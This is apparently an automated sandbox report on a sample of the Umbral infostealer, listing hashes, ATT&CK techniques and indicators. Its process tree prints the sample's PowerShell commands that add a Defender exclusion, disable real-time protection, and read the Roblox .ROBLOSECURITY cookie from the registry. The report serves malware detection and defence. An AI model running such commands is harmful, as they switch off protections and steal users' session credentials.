umbral | e3b085539ea01820a02ac0c6e251e8a4424ee16b6d7b79593e52a63c0d314b84

Analysis

max time kernel
141s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2023 20:03

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General

Target

1hackNova7.40.exe
Size

227KB
MD5

6badeb1e9a87fad28128236eecb46c32
SHA1

d89bb6ceff7d56c176147e62e17107815328a625
SHA256

e3b085539ea01820a02ac0c6e251e8a4424ee16b6d7b79593e52a63c0d314b84
SHA512

e5e92ed460e9b5da48c8100aca7617652bcac2a348042400c380a06cfae4d746c464c4c75fd92542015d6619f83ba7bf51e066ea9d49d412042890e3d2bd0e19
SSDEEP

6144:OloZMCrIkd8g+EtXHkv/iD44KANHdmOhqU9va6vhlb8e1mnii:YoZZL+EP84KANHdmOhqU9va6v3g

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/5064-0-0x0000010CB9BF0000-0x0000010CB9C30000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2876	wmic.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1564	powershell.exe
1564	powershell.exe
3052	powershell.exe
3052	powershell.exe
1132	powershell.exe
1132	powershell.exe
1880	powershell.exe
1880	powershell.exe
2644	powershell.exe
2644	powershell.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	1hackNova7.40.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeIncreaseQuotaPrivilege	4552	wmic.exe
Token: SeSecurityPrivilege	4552	wmic.exe
Token: SeTakeOwnershipPrivilege	4552	wmic.exe
Token: SeLoadDriverPrivilege	4552	wmic.exe
Token: SeSystemProfilePrivilege	4552	wmic.exe
Token: SeSystemtimePrivilege	4552	wmic.exe
Token: SeProfSingleProcessPrivilege	4552	wmic.exe
Token: SeIncBasePriorityPrivilege	4552	wmic.exe
Token: SeCreatePagefilePrivilege	4552	wmic.exe
Token: SeBackupPrivilege	4552	wmic.exe
Token: SeRestorePrivilege	4552	wmic.exe
Token: SeShutdownPrivilege	4552	wmic.exe
Token: SeDebugPrivilege	4552	wmic.exe
Token: SeSystemEnvironmentPrivilege	4552	wmic.exe
Token: SeRemoteShutdownPrivilege	4552	wmic.exe
Token: SeUndockPrivilege	4552	wmic.exe
Token: SeManageVolumePrivilege	4552	wmic.exe
Token: 33	4552	wmic.exe
Token: 34	4552	wmic.exe
Token: 35	4552	wmic.exe
Token: 36	4552	wmic.exe
Token: SeIncreaseQuotaPrivilege	4552	wmic.exe
Token: SeSecurityPrivilege	4552	wmic.exe
Token: SeTakeOwnershipPrivilege	4552	wmic.exe
Token: SeLoadDriverPrivilege	4552	wmic.exe
Token: SeSystemProfilePrivilege	4552	wmic.exe
Token: SeSystemtimePrivilege	4552	wmic.exe
Token: SeProfSingleProcessPrivilege	4552	wmic.exe
Token: SeIncBasePriorityPrivilege	4552	wmic.exe
Token: SeCreatePagefilePrivilege	4552	wmic.exe
Token: SeBackupPrivilege	4552	wmic.exe
Token: SeRestorePrivilege	4552	wmic.exe
Token: SeShutdownPrivilege	4552	wmic.exe
Token: SeDebugPrivilege	4552	wmic.exe
Token: SeSystemEnvironmentPrivilege	4552	wmic.exe
Token: SeRemoteShutdownPrivilege	4552	wmic.exe
Token: SeUndockPrivilege	4552	wmic.exe
Token: SeManageVolumePrivilege	4552	wmic.exe
Token: 33	4552	wmic.exe
Token: 34	4552	wmic.exe
Token: 35	4552	wmic.exe
Token: 36	4552	wmic.exe
Token: SeIncreaseQuotaPrivilege	3256	wmic.exe
Token: SeSecurityPrivilege	3256	wmic.exe
Token: SeTakeOwnershipPrivilege	3256	wmic.exe
Token: SeLoadDriverPrivilege	3256	wmic.exe
Token: SeSystemProfilePrivilege	3256	wmic.exe
Token: SeSystemtimePrivilege	3256	wmic.exe
Token: SeProfSingleProcessPrivilege	3256	wmic.exe
Token: SeIncBasePriorityPrivilege	3256	wmic.exe
Token: SeCreatePagefilePrivilege	3256	wmic.exe
Token: SeBackupPrivilege	3256	wmic.exe
Token: SeRestorePrivilege	3256	wmic.exe
Token: SeShutdownPrivilege	3256	wmic.exe
Token: SeDebugPrivilege	3256	wmic.exe
Token: SeSystemEnvironmentPrivilege	3256	wmic.exe
Token: SeRemoteShutdownPrivilege	3256	wmic.exe
Token: SeUndockPrivilege	3256	wmic.exe
Token: SeManageVolumePrivilege	3256	wmic.exe

Suspicious use of FindShellTrayWindow 32 IoCs

pid	Process
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe
3648	taskmgr.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 5064 wrote to memory of 1564	5064	1hackNova7.40.exe	85
PID 5064 wrote to memory of 1564	5064	1hackNova7.40.exe	85
PID 5064 wrote to memory of 3052	5064	1hackNova7.40.exe	89
PID 5064 wrote to memory of 3052	5064	1hackNova7.40.exe	89
PID 5064 wrote to memory of 1132	5064	1hackNova7.40.exe	92
PID 5064 wrote to memory of 1132	5064	1hackNova7.40.exe	92
PID 5064 wrote to memory of 1880	5064	1hackNova7.40.exe	96
PID 5064 wrote to memory of 1880	5064	1hackNova7.40.exe	96
PID 5064 wrote to memory of 4552	5064	1hackNova7.40.exe	99
PID 5064 wrote to memory of 4552	5064	1hackNova7.40.exe	99
PID 5064 wrote to memory of 3256	5064	1hackNova7.40.exe	102
PID 5064 wrote to memory of 3256	5064	1hackNova7.40.exe	102
PID 5064 wrote to memory of 340	5064	1hackNova7.40.exe	104
PID 5064 wrote to memory of 340	5064	1hackNova7.40.exe	104
PID 5064 wrote to memory of 2644	5064	1hackNova7.40.exe	106
PID 5064 wrote to memory of 2644	5064	1hackNova7.40.exe	106
PID 5064 wrote to memory of 2876	5064	1hackNova7.40.exe	109
PID 5064 wrote to memory of 2876	5064	1hackNova7.40.exe	109

C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe
"C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1hackNova7.40.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1880
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3256
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2876

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
77346dd27aa11a74c8aff95b1faf6c38

SHA1
1e94c7405223d5e979e56b0c57c00f81f460f694

SHA256
16f7e672f6510da1e54b33504bcc8e11a77da9da4170b21cad01d52e615524ac

SHA512
bb8c47bacb16d0fe1923f787aae90f289f1f0f46982b9512a2d02cca40e0e2330deacbb69278c74daa19e8f6da75ce25b1c5ea71390b500272317a80a7ffb603

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
7249f5c73fd4c203cc0b5d76b5d550e6

SHA1
c36c86b0fff962ea5f44d40116554a8e7754a5d4

SHA256
fd9b15f7b9f160af704090a1781a61943f27baab50a42c62ac7b6df9f415e17d

SHA512
71a99f4051daa50099f26212d22920d38bde6ab1ee0f4f5a2a7dee312c49bb885e193fff1d218cb4f0980277b7b62d9801bf8cd7d356e5870e942989c920f346

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e0ec6bf376a6b15852bce768196c5ed0

SHA1
05fe4e592ebbb7e29f36b8d30a6a90ba29bd4f81

SHA256
2d4a39cbbd597a7cfff477817c3c7c541c14974c8d234b4c0de6d229e3a3ce97

SHA512
dc0c7d3d127c88affea9ae402d7358c079cfa7fc3ecb417085e31dc749da1406e72563bfbe42167fdad57e10aa0c6cca7a8ba06921b3a1212ad7ccee1a0f859b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qw30e1ki.5tz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1132-42-0x000001D59A180000-0x000001D59A190000-memory.dmp

Filesize
64KB

Download
memory/1132-43-0x000001D59A180000-0x000001D59A190000-memory.dmp

Filesize
64KB

Download
memory/1132-41-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/1132-54-0x000001D59A180000-0x000001D59A190000-memory.dmp

Filesize
64KB

Download
memory/1132-68-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/1564-10-0x00000259DF090000-0x00000259DF0A0000-memory.dmp

Filesize
64KB

Download
memory/1564-19-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/1564-16-0x00000259DF090000-0x00000259DF0A0000-memory.dmp

Filesize
64KB

Download
memory/1564-11-0x00000259DF050000-0x00000259DF072000-memory.dmp

Filesize
136KB

Download
memory/1564-4-0x00000259DF090000-0x00000259DF0A0000-memory.dmp

Filesize
64KB

Download
memory/1564-3-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/1880-80-0x0000023436FE0000-0x0000023436FF0000-memory.dmp

Filesize
64KB

Download
memory/1880-75-0x0000023436FE0000-0x0000023436FF0000-memory.dmp

Filesize
64KB

Download
memory/1880-69-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/1880-83-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/2644-99-0x00000231E8390000-0x00000231E83A0000-memory.dmp

Filesize
64KB

Download
memory/2644-98-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/2644-103-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/2644-100-0x00000231E8390000-0x00000231E83A0000-memory.dmp

Filesize
64KB

Download
memory/3052-22-0x00000231F5460000-0x00000231F5470000-memory.dmp

Filesize
64KB

Download
memory/3052-21-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/3052-37-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/3052-23-0x00000231F5460000-0x00000231F5470000-memory.dmp

Filesize
64KB

Download
memory/3648-115-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-121-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-119-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-110-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-117-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-120-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-118-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-116-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-111-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/3648-109-0x00000289CE580000-0x00000289CE581000-memory.dmp

Filesize
4KB

Download
memory/5064-85-0x0000010CBB9C0000-0x0000010CBB9CA000-memory.dmp

Filesize
40KB

Download
memory/5064-108-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/5064-39-0x0000010CBB9F0000-0x0000010CBBA40000-memory.dmp

Filesize
320KB

Download
memory/5064-1-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download
memory/5064-38-0x0000010CD43B0000-0x0000010CD4426000-memory.dmp

Filesize
472KB

Download
memory/5064-0-0x0000010CB9BF0000-0x0000010CB9C30000-memory.dmp

Filesize
256KB

Download
memory/5064-86-0x0000010CBBA40000-0x0000010CBBA52000-memory.dmp

Filesize
72KB

Download
memory/5064-35-0x0000010CD4260000-0x0000010CD4270000-memory.dmp

Filesize
64KB

Download
memory/5064-2-0x0000010CD4260000-0x0000010CD4270000-memory.dmp

Filesize
64KB

Download
memory/5064-40-0x0000010CBB860000-0x0000010CBB87E000-memory.dmp

Filesize
120KB

Download
memory/5064-33-0x00007FFE24E90000-0x00007FFE25951000-memory.dmp

Filesize
10.8MB

Download